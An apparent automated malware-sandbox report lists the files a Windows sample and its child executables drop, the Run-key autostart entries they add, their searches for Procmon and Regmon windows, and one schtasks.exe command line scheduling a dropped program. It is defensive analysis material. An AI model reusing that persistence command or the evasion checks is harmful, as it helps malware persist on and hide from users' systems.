Source: 33a9120b78.exe.23.dr	Static PE information: section name: cqjmtrkl
Source: 33a9120b78.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: jhxiqwys
Source: random[1].exe.23.dr	Static PE information: section name: sydghrgw
Source: random[1].exe.23.dr	Static PE information: section name: .taggant
Source: 397a6a3fac.exe.23.dr	Static PE information: section name:
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: .rsrc
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: .idata
Source: 397a6a3fac.exe.23.dr	Static PE information: section name:
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: jhxiqwys
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: sydghrgw
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: qtucxrez
Source: random[1].exe0.23.dr	Static PE information: section name: khcuhpfk
Source: random[1].exe0.23.dr	Static PE information: section name: .taggant
Source: 829de9457d.exe.23.dr	Static PE information: section name:
Source: 829de9457d.exe.23.dr	Static PE information: section name: .rsrc
Source: 829de9457d.exe.23.dr	Static PE information: section name: .idata
Source: 829de9457d.exe.23.dr	Static PE information: section name:
Source: 829de9457d.exe.23.dr	Static PE information: section name: qtucxrez
Source: 829de9457d.exe.23.dr	Static PE information: section name: khcuhpfk
Source: 829de9457d.exe.23.dr	Static PE information: section name: .taggant
Source: random[2].exe.23.dr	Static PE information: section name:
Source: random[2].exe.23.dr	Static PE information: section name: .idata
Source: random[2].exe.23.dr	Static PE information: section name: cqrjeytt
Source: random[2].exe.23.dr	Static PE information: section name: ftifzosq
Source: random[2].exe.23.dr	Static PE information: section name: .taggant
Source: 1997b72847.exe.23.dr	Static PE information: section name:
Source: 1997b72847.exe.23.dr	Static PE information: section name: .idata
Source: 1997b72847.exe.23.dr	Static PE information: section name: cqrjeytt
Source: 1997b72847.exe.23.dr	Static PE information: section name: ftifzosq
Source: 1997b72847.exe.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B536 push ecx; ret	0_2_6C64B549
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_0076D91C push ecx; ret	20_2_0076D92F
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00761359 push es; ret	20_2_0076135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0025D91C push ecx; ret	21_2_0025D92F
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Code function: 24_3_01781DB1 push ds; retf	24_3_01781E39
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Code function: 24_3_0177B021 push 0000005Bh; retf	24_3_0177B025

Source: file.exe	Static PE information: section name: qtucxrez entropy: 7.955206405527107
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name: entropy: 7.161110902633471
Source: random[1].exe.0.dr	Static PE information: section name: uquybeiu entropy: 7.956020573740259
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.161110902633471
Source: 33a9120b78.exe.23.dr	Static PE information: section name: uquybeiu entropy: 7.956020573740259
Source: random[1].exe.23.dr	Static PE information: section name: entropy: 7.975247979156142
Source: random[1].exe.23.dr	Static PE information: section name: jhxiqwys entropy: 7.954419867922762
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: entropy: 7.975247979156142
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: jhxiqwys entropy: 7.954419867922762
Source: random[1].exe0.23.dr	Static PE information: section name: qtucxrez entropy: 7.955206405527107
Source: 829de9457d.exe.23.dr	Static PE information: section name: qtucxrez entropy: 7.955206405527107
Source: random[2].exe.23.dr	Static PE information: section name: entropy: 7.801373133227777
Source: 1997b72847.exe.23.dr	Static PE information: section name: entropy: 7.801373133227777

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGHIDGDHCGC.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsGHIDGDHCGC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGHIDGDHCGC.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 829de9457d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 397a6a3fac.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1997b72847.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGHIDGDHCGC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 397a6a3fac.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 397a6a3fac.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 829de9457d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 829de9457d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1997b72847.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1997b72847.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6755F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
